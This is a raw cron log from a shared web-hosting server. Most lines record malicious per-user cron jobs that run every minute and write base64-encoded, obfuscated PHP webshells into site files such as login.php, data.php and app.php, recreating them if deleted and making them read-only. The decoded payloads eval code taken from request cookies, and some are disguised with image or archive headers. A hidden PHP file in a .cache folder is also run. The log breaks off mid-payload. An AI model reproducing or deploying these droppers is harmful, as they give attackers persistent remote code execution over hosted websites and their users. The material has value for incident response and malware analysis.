Mar  1 15:32:02 medusa CROND[30424]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:32:02 medusa CROND[30426]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:32:02 medusa CROND[30427]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:32:02 medusa CROND[30428]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:32:02 medusa CROND[30430]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 15:32:02 medusa CROND[30432]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:32:02 medusa CROND[30435]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:33:01 medusa CROND[20617]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:33:01 medusa CROND[20618]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:33:01 medusa CROND[20619]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:33:01 medusa CROND[20620]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:33:01 medusa CROND[20621]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:33:01 medusa CROND[20622]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 15:33:01 medusa CROND[20624]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:33:01 medusa CROND[20625]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:33:01 medusa CROND[20627]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:33:01 medusa CROND[20629]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:33:01 medusa CROND[20628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:33:01 medusa CROND[20636]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:34:01 medusa CROND[10608]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:34:01 medusa CROND[10671]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 15:34:01 medusa CROND[10672]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:34:01 medusa CROND[10673]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:34:01 medusa CROND[10675]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:34:01 medusa CROND[10676]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:34:01 medusa CROND[10677]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:34:01 medusa CROND[10678]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:34:01 medusa CROND[10679]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:34:01 medusa CROND[10680]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2V